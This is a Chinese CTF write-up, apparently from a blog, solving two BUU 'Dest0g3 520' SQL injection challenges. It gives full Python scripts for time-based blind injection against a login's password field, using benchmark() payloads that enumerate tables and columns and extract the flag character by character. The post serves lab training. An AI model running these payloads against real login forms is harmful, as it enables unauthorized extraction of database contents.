【BUU】[Dest0g3 520迎新赛]Really Easy SQL

[Dest0g3 520迎新赛]Really Easy SQL

信息搜集

题目标题说明是SQL注入
题目首页
image.png
页面title显示是钓鱼站点。

钓鱼站点主要为将我们的输入信息保存在数据库。后台应该是插入语句。

fuzz测试

这里无论输入什么都显示密码错误, 只能尝试盲注,基于时间的盲注,
这里经过测试payload如下,
image.png

写脚本

内容如下

import requests
import time
from urllib.parse import urlencode

url="http://c3a1a543-3a1c-4f1c-9e6b-1fd5fcf8b280.node5.buuoj.cn:81/"
flag=''
for i in range(1,44):
    for j in range(40,137):
        #payload="0'or(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j) #flaggg,user
        #payload="0'or(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='flaggg')),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j) #cmd
        payload="0'or(if((ascii(mid((select(cmd)from(flaggg)),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j)
        data={
        'username': 'a',
        'password': payload
        }
        print(data)
        try:
           r = requests.post(url=url,data=data,timeout=0.2)
        except:
           flag += chr(j)
           print(flag)
           break
        
        time.sleep(0.2)
    time.sleep(1)

跑到flag。这道题目挺花时间的,主要在于sleep()函数被过滤了.如果在测试的过程中没有意识到这个问题,那么就会花费大量的时间。
image.png

成功解答

image.png

[Dest0g3 520迎新赛]easysql

信息搜集

这道题目页面和Really Easy SQL 一样,
在这里插入图片描述

解题-出错

尝试采用Really Easy SQL 脚本 跑一下。得到flag.
在这里插入图片描述

尝试提交-错误
在这里插入图片描述

修复问题

当我看到flag头跑出来的有个6的时候,我就知道这个脚本估计6了。。但是我还是抱有一丝幻想。。可惜结果打败了我的幻想。
修改下脚本,

import requests
import time
from urllib.parse import urlencode

url="http://5c202a9b-b9ac-42dc-b168-35922d0b016e.node5.buuoj.cn:81/"
flag=''
dict = "0123456789abcdefghijklmnopqrstuvwxyz-"
for i in range(1,44):
    for j in dict:
        #payload="0'or(if((ascii(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j) #flaggg,user
        #payload="0'or(if((ascii(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='user')),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,j) #cmd
        payload="0'or(if((ascii(mid((select(cmd)from(flaggg)),{},1))={}),benchmark(2000000,md5(1)),0))or'".format(i,ord(j)) # flag{70e198ee-5b91-4ef3-8abe-af03cabc30a3}
        data={
        'username': 'a',
        'password': payload
        }
        #print(data)
        try:
           r = requests.post(url=url,data=data,timeout=0.2)
        except:
           flag += j
           print(flag)
           break
        
        time.sleep(0.2)
    time.sleep(1)

成功解答

结果
在这里插入图片描述
手动添加 {},不错。一开始脚本将a跑成了6 ,将e跑成了7
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

SwBack

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值